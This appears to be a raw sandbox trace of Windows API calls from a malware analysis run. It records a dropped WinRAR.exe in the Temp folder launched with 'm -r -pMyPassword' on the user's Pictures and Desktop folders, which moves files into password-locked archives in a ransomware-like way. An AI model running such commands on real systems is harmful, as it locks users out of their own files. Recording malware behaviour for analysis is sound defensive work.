[0056.596] GetProcessHeap () returned 0x2b20000 [0056.596] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x18) returned 0x2b27eb0 [0056.596] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0056.597] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0056.597] GetProcessHeap () returned 0x2b20000 [0056.597] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2b27eb0) returned 1 [0056.597] GetProcessHeap () returned 0x2b20000 [0056.597] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xa) returned 0x2b27eb0 [0056.597] lstrcmpW (lpString1="\\WinRAR.exe", lpString2="\\XCOPY.EXE") returned -1 [0056.599] _get_osfhandle (_FileHandle=1) returned 0x90 [0056.599] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0056.804] _get_osfhandle (_FileHandle=0) returned 0x8c [0056.804] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1 [0057.119] CreateProcessW (in: lpApplicationName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe", lpCommandLine="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Pictures", lpStartupInfo=0x3ff0b0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3ff0fc | out: lpCommandLine="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", lpProcessInformation=0x3ff0fc*(hProcess=0xe0, hThread=0xdc, dwProcessId=0x754, dwThreadId=0xcd8)) returned 1 [0057.127] CloseHandle (hObject=0xdc) returned 1 [0057.127] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0057.127] GetProcessHeap () returned 0x2b20000 [0057.127] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2b27ef8) returned 1 [0057.127] GetEnvironmentStringsW () returned 0x2b26d18* [0057.127] GetProcessHeap () returned 0x2b20000 [0057.127] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xb1c) returned 0x2b27ee0 [0057.127] FreeEnvironmentStringsA (penv="=") returned 1 [0057.127] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0076.686] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x3ff094 | out: lpExitCode=0x3ff094*=0x0) returned 1 [0076.686] CloseHandle (hObject=0xe0) returned 1 [0076.686] _vsnwprintf (in: _Buffer=0x3ff17c, _BufferCount=0x13, _Format="%08X", _ArgList=0x3ff09c | out: _Buffer="00000000") returned 8 [0076.687] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0076.687] GetProcessHeap () returned 0x2b20000 [0076.687] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2b27ee0) returned 1 [0076.687] GetEnvironmentStringsW () returned 0x2b24c90* [0076.687] GetProcessHeap () returned 0x2b20000 [0076.687] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xb42) returned 0x2b395c0 [0076.687] FreeEnvironmentStringsA (penv="=") returned 1 [0076.687] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.687] GetProcessHeap () returned 0x2b20000 [0076.687] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2b395c0) returned 1 [0076.687] GetEnvironmentStringsW () returned 0x2b24c90* [0076.688] GetProcessHeap () returned 0x2b20000 [0076.688] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xb42) returned 0x2b395c0 [0076.688] FreeEnvironmentStringsA (penv="=") returned 1 [0076.688] GetProcessHeap () returned 0x2b20000 [0076.688] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2b27eb0) returned 1 [0076.688] DeleteProcThreadAttributeList (in: lpAttributeList=0x3ff128 | out: lpAttributeList=0x3ff128) [0076.688] ??_V@YAXPAX@Z () returned 0x1 [0076.688] _get_osfhandle (_FileHandle=1) returned 0x90 [0076.688] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0076.793] _get_osfhandle (_FileHandle=1) returned 0x90 [0076.793] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x913890 | out: lpMode=0x913890) returned 1 [0076.950] _get_osfhandle (_FileHandle=1) returned 0x90 [0076.950] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0077.404] _get_osfhandle (_FileHandle=0) returned 0x8c [0077.404] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0x913894 | out: lpMode=0x913894) returned 1 [0077.495] _get_osfhandle (_FileHandle=0) returned 0x8c [0077.495] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0077.621] SetConsoleInputExeNameW () returned 0x1 [0077.621] GetConsoleOutputCP () returned 0x1b5 [0077.715] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x913850 | out: lpCPInfo=0x913850) returned 1 [0077.715] SetThreadUILanguage (LangId=0x0) returned 0x530409 [0077.964] exit (_Code=0) [0077.964] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 43 os_tid = 0xf6c Process: id = "7" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x58619000" os_pid = "0xd64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x46c" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0xd6c Thread: id = 31 os_tid = 0xcc4 Thread: id = 36 os_tid = 0xf88 Thread: id = 40 os_tid = 0x39c Thread: id = 42 os_tid = 0xd98 Process: id = "8" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x5d50a000" os_pid = "0x58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa9c" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 30 os_tid = 0xb84 Thread: id = 32 os_tid = 0xdbc Thread: id = 34 os_tid = 0x6c0 Thread: id = 38 os_tid = 0xd24 Thread: id = 39 os_tid = 0xb04 Process: id = "9" image_name = "winrar.exe" filename = "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe" page_root = "0x624c8000" os_pid = "0xe3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xf00" cmd_line = "C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 45 os_tid = 0x4a4 [0057.079] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.079] GetProcAddress (hModule=0x7ff92f150000, lpProcName="InitializeCriticalSectionEx") returned 0x7ff92f1ad580 [0057.080] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.080] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsAlloc") returned 0x7ff92f1bd3e0 [0057.080] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsSetValue") returned 0x7ff92f198c10 [0057.081] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.081] GetProcAddress (hModule=0x7ff92f150000, lpProcName="InitializeCriticalSectionEx") returned 0x7ff92f1ad580 [0057.081] GetProcessHeap () returned 0x1ec0a590000 [0057.081] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.081] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsAlloc") returned 0x7ff92f1bd3e0 [0057.081] GetLastError () returned 0x0 [0057.081] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsGetValue") returned 0x7ff92f192340 [0057.082] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x3c8) returned 0x1ec0a59bb30 [0057.082] GetProcAddress (hModule=0x7ff92f150000, lpProcName="FlsSetValue") returned 0x7ff92f198c10 [0057.082] SetLastError (dwErrCode=0x0) [0057.082] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x1000) returned 0x1ec0a5afdb0 [0057.083] GetStartupInfoW (in: lpStartupInfo=0xe414ff9c0 | out: lpStartupInfo=0xe414ff9c0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) [0057.083] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0057.083] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0057.083] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0057.083] GetCommandLineA () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0057.083] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0057.084] GetLastError () returned 0x0 [0057.084] SetLastError (dwErrCode=0x0) [0057.084] GetLastError () returned 0x0 [0057.084] SetLastError (dwErrCode=0x0) [0057.084] GetACP () returned 0x4e4 [0057.084] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x228) returned 0x1ec0a59bf00 [0057.084] IsValidCodePage (CodePage=0x4e4) returned 1 [0057.084] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xe414ff990 | out: lpCPInfo=0xe414ff990) returned 1 [0057.084] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xe414ff230 | out: lpCPInfo=0xe414ff230) returned 1 [0057.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe414ff250, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe414ff250, cbMultiByte=256, lpWideCharStr=0xe414fef80, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ═ਖ਼Ǭ") returned 256 [0057.084] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ═ਖ਼Ǭ", cchSrc=256, lpCharType=0xe414ff550 | out: lpCharType=0xe414ff550) returned 1 [0057.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe414ff250, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe414ff250, cbMultiByte=256, lpWideCharStr=0xe414fef20, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0057.084] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.084] GetProcAddress (hModule=0x7ff92f150000, lpProcName="LCMapStringEx") returned 0x7ff92f17c800 [0057.084] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0057.084] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xe414fed10, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0057.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0xe414ff350, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0057.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe414ff250, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe414ff250, cbMultiByte=256, lpWideCharStr=0xe414fef20, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0057.084] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0057.084] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xe414fed10, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0057.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 